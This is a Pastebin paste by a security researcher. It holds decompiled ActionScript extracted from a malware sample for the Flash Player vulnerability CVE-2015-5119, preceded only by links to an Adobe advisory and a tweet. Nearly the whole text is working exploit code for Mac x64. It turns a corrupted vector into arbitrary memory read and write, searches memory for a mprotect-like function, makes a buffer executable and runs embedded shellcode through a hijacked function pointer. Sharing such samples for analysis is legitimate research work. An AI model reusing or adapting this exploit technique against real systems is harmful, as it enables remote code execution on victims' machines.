Advertisement
bartblaze

CVE-2015-5119 / Mac x64 shellcode

Jul 8th, 2015
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Extracted ActionScript for Mac x64 from e747df46e21036505780f2f7e48775147d815c3591f1c91514328a36aa84b9de also known as: CVE-2015-5119
  2. https://helpx.adobe.com/security/products/flash-player/apsa15-03.html
  3. https://twitter.com/bartblaze/status/618761630806110208
  4.  
  5.  
  6. package
  7. {
  8.    import flash.utils.Endian;
  9.    
  10.    class ShellMac64 extends MyClass
  11.    {
  12.      
  13.       static var _v:Vector.<uint>;
  14.      
  15.       static var _vAddr:Number;
  16.      
  17.       static var _base:Number;
  18.      
  19.       static var _baseMax:Number;
  20.      
  21.       static var _baseOld:Number;
  22.      
  23.       static var _mc:MyClass2;
  24.      
  25.       static var _mcOffs:uint;
  26.      
  27.       static var N32:Number = Math.pow(2,32);
  28.      
  29.       static var _x64:Vector.<uint> = Vector.<uint>([2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,1632548936,188,3.24272128E9,2.20253488E9,2.428700352E9]);
  30.      
  31.       {
  32.          N32 = Math.pow(2,32);
  33.          _x64 = Vector.<uint>([2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,2.425393296E9,1632548936,188,3.24272128E9,2.20253488E9,2.428700352E9]);
  34.       }
  35.      
  36.       function ShellMac64()
  37.       {
  38.          super();
  39.       }
  40.      
  41.       static function Hex(param1:Number) : String
  42.       {
  43.          if(param1 >= 0 && param1 <= 9)
  44.          {
  45.             return param1.toString();
  46.          }
  47.          return "0x" + param1.toString(16);
  48.       }
  49.      
  50.       static function Init(param1:Vector.<uint>, param2:uint, param3:MyClass2, param4:uint) : Boolean
  51.       {
  52.          _v = param1;
  53.          _mc = param3;
  54.          _mcOffs = param4;
  55.          _vAddr = Get64(param4,4.2949632E9) - param2;
  56.          _baseOld = Get64(param4 - 8);
  57.          param1[6] = 4.294967295E9;
  58.          param1[7] = 4.294967294E9;
  59.          param3.endian = Endian.LITTLE_ENDIAN;
  60.          Set64(param4 - 8,_vAddr);
  61.          _base = 0;
  62.          _baseMax = 4.29496728E9;
  63.          var _loc5_:uint = param3.length;
  64.          return _loc5_ == param1[7];
  65.       }
  66.      
  67.       static function CleanUp() : *
  68.       {
  69.          Set32(_vAddr - 16,_vLen);
  70.          _v[6] = 0;
  71.          _v[7] = 0;
  72.       }
  73.      
  74.       static function Num(param1:uint, param2:uint) : Number
  75.       {
  76.          var _loc3_:Number = param2;
  77.          if(_loc3_ != 0)
  78.          {
  79.             _loc3_ = _loc3_ * N32;
  80.          }
  81.          _loc3_ = _loc3_ + param1;
  82.          return _loc3_;
  83.       }
  84.      
  85.       static function Hi(param1:Number) : uint
  86.       {
  87.          return uint(Math.floor(param1 / N32) & N32 - 1);
  88.       }
  89.      
  90.       static function Low(param1:Number) : uint
  91.       {
  92.          return uint(param1 & N32 - 1);
  93.       }
  94.      
  95.       static function Get64(param1:uint, param2:uint = 4.294967295E9) : Number
  96.       {
  97.          return Num(_v[param1] & param2,_v[param1 + 1]);
  98.       }
  99.      
  100.       static function Set64(param1:uint, param2:Number) : *
  101.       {
  102.          _v[param1] = Low(param2);
  103.          _v[param1 + 1] = Hi(param2);
  104.       }
  105.      
  106.       static function SetBase(param1:Number) : *
  107.       {
  108.          if(param1 < _base || param1 >= _baseMax)
  109.          {
  110.             Set64(4,param1);
  111.             _base = param1;
  112.             _baseMax = param1 + 4.29496728E9;
  113.          }
  114.       }
  115.      
  116.       static function Get32(param1:Number) : uint
  117.       {
  118.          if(param1 < 65536)
  119.          {
  120.             throw new Error("");
  121.          }
  122.          SetBase(param1);
  123.          _mc.position = uint(param1 - _base & N32 - 1);
  124.          return _mc.readUnsignedInt();
  125.       }
  126.      
  127.       static function Set32(param1:Number, param2:uint) : *
  128.       {
  129.          if(param1 < 65536)
  130.          {
  131.             throw new Error("");
  132.          }
  133.          SetBase(param1);
  134.          _mc.position = uint(param1 - _base & N32 - 1);
  135.          _mc.writeUnsignedInt(param2);
  136.       }
  137.      
  138.       static function Get(param1:Number) : Number
  139.       {
  140.          if(param1 < 65536)
  141.          {
  142.             throw new Error("");
  143.          }
  144.          SetBase(param1);
  145.          _mc.position = uint(param1 - _base & N32 - 1);
  146.          var _loc2_:uint = _mc.readUnsignedInt();
  147.          var _loc3_:uint = _mc.readUnsignedInt();
  148.          return Num(_loc2_,_loc3_);
  149.       }
  150.      
  151.       static function Set(param1:Number, param2:Number) : *
  152.       {
  153.          if(param1 < 65536)
  154.          {
  155.             throw new Error("");
  156.          }
  157.          SetBase(param1);
  158.          _mc.position = uint(param1 - _base & N32 - 1);
  159.          _mc.writeUnsignedInt(Low(param2));
  160.          _mc.writeUnsignedInt(Hi(param2));
  161.       }
  162.      
  163.       static function GetAddr(param1:Object) : Number
  164.       {
  165.          _mc.o1 = param1;
  166.          return Get64(_mcOffs) - 1;
  167.       }
  168.      
  169.       static function Dump(param1:Number, param2:uint) : String
  170.       {
  171.          var _loc4_:uint = 0;
  172.          var _loc3_:* = "";
  173.          while(_loc4_ < param2)
  174.          {
  175.             _loc3_ = _loc3_ + (Get(param1).toString(16) + ",");
  176.             if(_loc4_ % 8 == 7)
  177.             {
  178.                _loc3_ = _loc3_ + "<br>";
  179.             }
  180.             _loc4_++;
  181.             var param1:Number = param1 + 8;
  182.          }
  183.          return _loc3_;
  184.       }
  185.      
  186.       static function FindMP() : Number
  187.       {
  188.          var _loc1_:* = NaN;
  189.          var _loc2_:uint = 0;
  190.          var _loc3_:uint = 0;
  191.          var _loc4_:* = NaN;
  192.          var _loc5_:* = NaN;
  193.          var _loc6_:* = NaN;
  194.          var _loc7_:* = NaN;
  195.          var _loc8_:* = NaN;
  196.          var _loc9_:* = NaN;
  197.          var _loc10_:* = NaN;
  198.          var _loc11_:uint = 0;
  199.          var _loc12_:uint = 0;
  200.          var _loc13_:uint = 0;
  201.          var _loc14_:uint = 0;
  202.          var _loc15_:uint = 0;
  203.          var _loc16_:uint = 0;
  204.          var _loc17_:* = NaN;
  205.          var _loc18_:uint = 0;
  206.          try
  207.          {
  208.             _loc1_ = Get64(_mcOffs - 4,4.2949632E9) - 26214400;
  209.             while(_loc2_ < 256)
  210.             {
  211.                if(Get32(_loc1_) == 4.277009103E9)
  212.                {
  213.                   logAdd("");
  214.                   break;
  215.                }
  216.                _loc2_++;
  217.                _loc1_ = _loc1_ - 4096;
  218.             }
  219.             if(_loc2_ >= 256)
  220.             {
  221.                throw new Error("");
  222.             }
  223.             _loc3_ = Get32(_loc1_ + 16);
  224.             _loc4_ = 0;
  225.             _loc5_ = 0;
  226.             _loc6_ = 0;
  227.             _loc7_ = 0;
  228.             _loc9_ = 0;
  229.             _loc10_ = 0;
  230.             _loc17_ = _loc1_ + 32;
  231.             while(_loc3_ > 0)
  232.             {
  233.                _loc16_ = Get32(_loc17_);
  234.                if(_loc4_ == 0 && _loc16_ == 25)
  235.                {
  236.                   _loc18_ = Get32(_loc17_ + 64);
  237.                   _loc8_ = _loc17_ + 72;
  238.                   while(_loc18_ > 0)
  239.                   {
  240.                      _loc16_ = Get32(_loc8_ + 64);
  241.                      if((_loc16_ & 255) == 8 && (_loc16_ & 2.147483648E9) != 0)
  242.                      {
  243.                         _loc4_ = _loc1_ + Get(_loc8_ + 32);
  244.                         _loc14_ = Get32(_loc8_ + 68);
  245.                         _loc15_ = Get32(_loc8_ + 72);
  246.                         if(_loc15_ == 6)
  247.                         {
  248.                            _loc13_ = Get32(_loc8_ + 40) / _loc15_;
  249.                         }
  250.                         break;
  251.                      }
  252.                      _loc18_--;
  253.                      _loc8_ = _loc8_ + 80;
  254.                   }
  255.                }
  256.                else if(_loc16_ == 25 && Get32(_loc17_ + 10) == 1263421772)
  257.                {
  258.                   _loc9_ = Get(_loc17_ + 40);
  259.                   _loc10_ = Get(_loc17_ + 24) - _loc9_;
  260.                }
  261.                else if(_loc5_ == 0 && _loc16_ == 2)
  262.                {
  263.                   _loc5_ = _loc1_ + Get32(_loc17_ + 8);
  264.                   _loc11_ = Get32(_loc17_ + 12);
  265.                   _loc7_ = _loc1_ + Get32(_loc17_ + 16);
  266.                   _loc12_ = Get32(_loc17_ + 20);
  267.                }
  268.                else if(_loc6_ == 0 && _loc16_ == 11)
  269.                {
  270.                   _loc6_ = _loc1_ + Get32(_loc17_ + 56);
  271.                }
  272.                if(_loc4_ != 0 && _loc5_ != 0 && _loc6_ != 0)
  273.                {
  274.                   break;
  275.                }
  276.                _loc17_ = _loc17_ + Get32(_loc17_ + 4);
  277.                _loc3_--;
  278.             }
  279.             if(_loc4_ <= _loc1_ || _loc13_ == 0 || _loc5_ <= _loc1_ || _loc7_ <= _loc1_ || _loc6_ <= _loc1_)
  280.             {
  281.                throw new Error("");
  282.             }
  283.             if(_loc10_ > 0)
  284.             {
  285.                _loc9_ = _loc9_ + _loc1_;
  286.                if(_loc5_ >= _loc9_)
  287.                {
  288.                   _loc5_ = _loc5_ + _loc10_;
  289.                }
  290.                if(_loc6_ >= _loc9_)
  291.                {
  292.                   _loc6_ = _loc6_ + _loc10_;
  293.                }
  294.                if(_loc7_ >= _loc9_)
  295.                {
  296.                   _loc7_ = _loc7_ + _loc10_;
  297.                }
  298.             }
  299.             _loc2_ = 0;
  300.             while(true)
  301.             {
  302.                if(_loc2_ < _loc13_)
  303.                {
  304.                   _loc16_ = Get32(_loc6_);
  305.                   if(_loc16_ == 0 || _loc16_ > _loc11_)
  306.                   {
  307.                      break;
  308.                   }
  309.                   _loc16_ = Get32(_loc5_ + _loc16_ * 16);
  310.                   if(_loc16_ == 0 || _loc16_ > _loc12_)
  311.                   {
  312.                      throw new Error("");
  313.                   }
  314.                   if(Get32(_loc7_ + _loc16_) == 1919970655 && Get32(_loc7_ + _loc16_ + 6) == 7627621)
  315.                   {
  316.                      _loc4_ = _loc4_ + _loc2_ * _loc15_;
  317.                      _loc16_ = Get32(_loc4_);
  318.                      if((_loc16_ & 65535) == 9727)
  319.                      {
  320.                         return _loc4_;
  321.                      }
  322.                   }
  323.                   else
  324.                   {
  325.                      _loc2_++;
  326.                      _loc6_ = _loc6_ + 4;
  327.                      continue;
  328.                   }
  329.                }
  330.                if(_loc2_ >= _loc13_)
  331.                {
  332.                   throw new Error("");
  333.                }
  334.             }
  335.             throw new Error("");
  336.          }
  337.          catch(e:Error)
  338.          {
  339.          }
  340.          return 0;
  341.       }
  342.      
  343.       static function Payload(... rest) : *
  344.       {
  345.       }
  346.      
  347.       static function CallMP(param1:Number) : Number
  348.       {
  349.          var _loc13_:uint = 0;
  350.          Payload();
  351.          Payload.call(null);
  352.          var _loc2_:Number = GetAddr(Payload);
  353.          var _loc3_:Number = Get(Get(Get(_loc2_ + 16) + 40) + 8) + (_isDbg?288:264);
  354.          var _loc4_:Number = Get(_loc3_);
  355.          var _loc5_:Number = Get(_loc2_ + 56);
  356.          var _loc6_:Number = Get(_loc2_ + 64);
  357.          var _loc7_:Number = Get(_loc4_ - 8);
  358.          var _loc8_:uint = _x64.length;
  359.          var _loc9_:Vector.<uint> = new Vector.<uint>(Math.max(1792,_loc8_ + 1024));
  360.          var _loc10_:Number = GetAddr(_loc9_);
  361.          _loc10_ = _loc10_ + (_isDbg?56:48);
  362.          if(Get(_loc10_) < 65536)
  363.          {
  364.             _loc10_ = _loc10_ - 8;
  365.          }
  366.          _loc10_ = Get(_loc10_) + 16;
  367.          var _loc11_:uint = 4096 - (_loc10_ & 4095) >>> 2;
  368.          _loc10_ = _loc10_ + _loc11_ * 4;
  369.          var _loc12_:uint = _loc11_;
  370.          while(_loc13_ < 256)
  371.          {
  372.             _loc9_[_loc12_] = Get32(_loc4_ + _loc13_ * 4);
  373.             _loc13_++;
  374.             _loc12_++;
  375.          }
  376.          var _loc14_:Number = Get(_loc4_) - 256;
  377.          _loc13_ = 0;
  378.          while(_loc13_ < 512)
  379.          {
  380.             _loc9_[_loc12_] = Get32(_loc14_ + _loc13_ * 4);
  381.             _loc13_++;
  382.             _loc12_++;
  383.          }
  384.          _loc9_[_loc11_ - 2] = Low(_loc7_);
  385.          _loc9_[_loc11_ - 1] = Hi(_loc7_);
  386.          _loc9_[_loc11_ + 0] = Low(_loc10_ + 320 * 4);
  387.          _loc9_[_loc11_ + 1] = Hi(_loc10_ + 320 * 4);
  388.          _loc9_[_loc11_ + 320 + 16] = Low(param1);
  389.          _loc9_[_loc11_ + 320 + 17] = Hi(param1);
  390.          Set(_loc2_ + 56,4096 * ((_loc8_ >>> 12) + 1));
  391.          Set(_loc2_ + 64,7);
  392.          Set(_loc3_,_loc10_);
  393.          Payload.call(null);
  394.          Set(_loc3_,_loc4_);
  395.          Set(_loc2_ + 56,_loc5_);
  396.          Set(_loc2_ + 64,_loc6_);
  397.          _loc13_ = 0;
  398.          while(_loc13_ < _loc8_)
  399.          {
  400.             _loc9_[_loc11_] = _x64[_loc13_];
  401.             _loc13_++;
  402.             _loc11_++;
  403.          }
  404.          _gc.push(_loc9_);
  405.          return _loc10_;
  406.       }
  407.      
  408.       static function Exec() : *
  409.       {
  410.          var _loc1_:* = NaN;
  411.          var _loc2_:* = NaN;
  412.          var _loc3_:* = NaN;
  413.          var _loc4_:* = NaN;
  414.          var _loc5_:* = undefined;
  415.          try
  416.          {
  417.             _loc1_ = FindMP();
  418.             _loc2_ = CallMP(_loc1_);
  419.             _loc3_ = GetAddr(Payload);
  420.             _loc3_ = Get(Get(_loc3_ + 56) + 16) + 8;
  421.             _loc4_ = Get(_loc3_);
  422.             Set(_loc3_,_loc2_);
  423.             _loc5_ = Payload.call(null);
  424.             Set(_loc3_,_loc4_);
  425.          }
  426.          catch(e:Error)
  427.          {
  428.          }
  429.          CleanUp();
  430.       }
  431.    }
  432. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement